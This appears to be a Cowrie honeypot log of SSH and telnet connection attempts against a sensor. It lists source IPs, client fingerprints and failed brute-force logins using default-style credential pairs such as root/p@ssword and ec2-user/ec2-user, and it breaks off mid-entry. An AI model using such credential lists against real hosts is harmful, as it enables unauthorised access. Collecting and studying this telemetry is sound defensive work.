{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38248,"dst_ip":"159.203.135.109","dst_port":23,"session":"901d7a21e65f","protocol":"telnet","message":"New connection: 128.199.8.54:38248 (159.203.135.109:23) [session: 901d7a21e65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:58.101013Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54334,"dst_ip":"10.17.0.5","dst_port":22,"session":"67704cef350e","protocol":"ssh","message":"New connection: 91.92.42.227:54334 (10.17.0.5:22) [session: 67704cef350e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:01.057775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:01.300043Z","src_ip":"91.92.42.227","session":"67704cef350e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:01.302784Z","src_ip":"91.92.42.227","session":"67704cef350e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59948,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8827c0f957","protocol":"ssh","message":"New connection: 45.156.87.147:59948 (10.17.0.5:22) [session: 2c8827c0f957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.054090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.066222Z","src_ip":"45.156.87.147","session":"2c8827c0f957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.151284Z","src_ip":"45.156.87.147","session":"2c8827c0f957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.408962Z","src_ip":"45.156.87.147","session":"2c8827c0f957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.869324Z","src_ip":"91.92.42.227","session":"67704cef350e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"190e019e1ee4","protocol":"telnet","message":"New connection: 172.81.62.90:46078 (159.203.135.109:23) [session: 190e019e1ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:02.985021Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:03.500315Z","src_ip":"45.156.87.147","session":"2c8827c0f957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:04.425581Z","src_ip":"91.92.42.227","session":"67704cef350e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb65bccd5b6","protocol":"ssh","message":"New connection: 91.92.42.227:49818 (10.17.0.5:22) [session: 1cb65bccd5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:07.316237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:07.797037Z","src_ip":"91.92.42.227","session":"1cb65bccd5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:07.800481Z","src_ip":"91.92.42.227","session":"1cb65bccd5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"91b1190b7695","protocol":"ssh","message":"New connection: 45.156.87.147:59972 (10.17.0.5:22) [session: 91b1190b7695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:07.998111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:08.002673Z","src_ip":"45.156.87.147","session":"91b1190b7695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:08.086756Z","src_ip":"45.156.87.147","session":"91b1190b7695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:08.341591Z","src_ip":"45.156.87.147","session":"91b1190b7695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:09.426162Z","src_ip":"45.156.87.147","session":"91b1190b7695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:11.049593Z","src_ip":"91.92.42.227","session":"1cb65bccd5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:12.754633Z","src_ip":"91.92.42.227","session":"1cb65bccd5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1dd55f5f4a","protocol":"ssh","message":"New connection: 91.92.42.227:49868 (10.17.0.5:22) [session: 9e1dd55f5f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.085466Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1b1661d2b3","protocol":"ssh","message":"New connection: 45.156.87.147:44192 (10.17.0.5:22) [session: cf1b1661d2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.183404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.187200Z","src_ip":"45.156.87.147","session":"cf1b1661d2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.269160Z","src_ip":"45.156.87.147","session":"cf1b1661d2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.560434Z","src_ip":"45.156.87.147","session":"cf1b1661d2b3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.764872Z","src_ip":"91.92.42.227","session":"9e1dd55f5f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:14.768130Z","src_ip":"91.92.42.227","session":"9e1dd55f5f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:15.649322Z","src_ip":"45.156.87.147","session":"cf1b1661d2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:17.744753Z","src_ip":"91.92.42.227","session":"9e1dd55f5f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.129277Z","src_ip":"91.92.42.227","session":"9e1dd55f5f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55624,"dst_ip":"10.17.0.5","dst_port":22,"session":"3820efd8cb43","protocol":"ssh","message":"New connection: 45.156.87.147:55624 (10.17.0.5:22) [session: 3820efd8cb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.337424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.341574Z","src_ip":"45.156.87.147","session":"3820efd8cb43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.425527Z","src_ip":"45.156.87.147","session":"3820efd8cb43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.691539Z","src_ip":"45.156.87.147","session":"3820efd8cb43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54800,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1807b8a736c","protocol":"ssh","message":"New connection: 91.92.42.227:54800 (10.17.0.5:22) [session: e1807b8a736c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.706083Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":51568,"dst_ip":"159.203.135.109","dst_port":22,"session":"3385c03b07b0","protocol":"ssh","message":"New connection: 103.252.123.105:51568 (159.203.135.109:22) [session: 3385c03b07b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:20.997976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:21.001513Z","src_ip":"103.252.123.105","session":"3385c03b07b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:21.229439Z","src_ip":"103.252.123.105","session":"3385c03b07b0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:21.539152Z","src_ip":"91.92.42.227","session":"e1807b8a736c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp3